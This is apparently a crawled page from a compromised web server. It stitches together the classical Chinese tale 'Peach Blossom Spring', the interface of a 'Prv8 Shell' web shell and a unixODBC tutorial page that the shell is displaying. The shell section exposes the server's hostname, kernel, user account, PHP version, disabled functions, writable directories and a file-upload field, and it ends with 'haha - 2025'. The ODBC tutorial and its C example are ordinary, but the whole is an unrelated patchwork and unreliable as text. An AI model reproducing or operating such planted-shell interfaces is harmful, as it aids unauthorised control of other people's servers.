晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/unixODBC/doc/ProgrammerManual/Tutorial/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/unixODBC/doc/ProgrammerManual/Tutorial/dsn.html
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" content="text/html; charset=iso-8859-1">
<TITLE>Obtainign Datasources</TITLE>
<LINK REL="Stylesheet" href="odbc.css">
</HEAD>
<BODY bgcolor="white">

<table width="90%" cols="3" border="0">
<TR>
   <TD colspan="3" class="big">Obtaining a Datasourcename</TD>
</TR>
<TR>
  <TD colspan="3"><P>A simple query should be a nobrainer right now. But what if
     your programm runs on a system where you can't be sure which datasource names
     are configured?</P>
     <P>Then you should use <A hrEF="gloss.html#dsn"><CODE>SQLDataSources()</CODE></a>.
     After allocating a environment handle you may use this to find out about the
     DSN and the supplied description for the datasource.</P>
     <P>As ODBC knows systemwide and userwide datasources, you need to give a direction
     which datasource types you are looking for. There you may specify either of the 
     following values:</P>
     <TABLE COLS="2" border="0" width="90%">
     <TR>
       <TD valign="top"><CODE>SQL_FETCH_FIRST</CODE></TD>
       <TD>Sets up <CODE>SQLDataSources()</CODE> to lookup the first of all
           available datasources (either user or systemwide).
     </TR>
     <TR>
       <TD valign="top"><CODE>SQL_FETCH_FIRST_USER</CODE></TD>
       <TD>Sets up <CODE>SQLDataSources()</CODE> to lookup the first of the
           available user datasources.
     </TR>
     <TR>
       <TD valign="top"><CODE>SQL_FETCH_FIRST_SYSTEM</CODE></TD>
       <TD>Sets up <CODE>SQLDataSources()</CODE> to lookup the first of the
           available system datasources.
     </TR>
     <TR>
       <TD valign="top"><CODE>SQL_FETCH_NEXT</CODE></TD>
       <TD>Fetches the next datasource.
           Depending on <CODE>SQL_FETCH_FIRST_USER</CODE>, <CODE>SQL_FETCH_FIRST_SYSTEM</CODE>
           or <CODE>SQL_FETCH_FIRST</CODE> this may only be a user datasource, 
           only a system datasource or one of either.
     </TR>
     </TABLE>
     <P>So let's have a look on a small function, which will return all available
     datasource names. You may insert this code into the program which you      built before and call it somewhere after you've obtained an environment      handle.</P>
<CODE class="list"><PRE>
void OD_ListDSN(void)
{
 char       l_dsn[100],l_desc[100];
 short int  l_len1,l_len2,l_next;

 l_next=SQL_FETCH_FIRST;
 while( SQLDataSources(V_OD_Env,l_next,l_dsn, sizeof(l_dsn),
        &l_len1, l_desc, sizeof(l_desc), &l_len2) == SQL_SUCCESS)
     {
      printf("Server=(%s) Beschreibung=(%s)\n",l_dsn,l_desc);
      l_next=SQL_FETCH_NEXT;
     }
}
</PRE></CODE>

     


</TD>
</TR>
</TABLE>
</BODY>
</HTML>

haha - 2025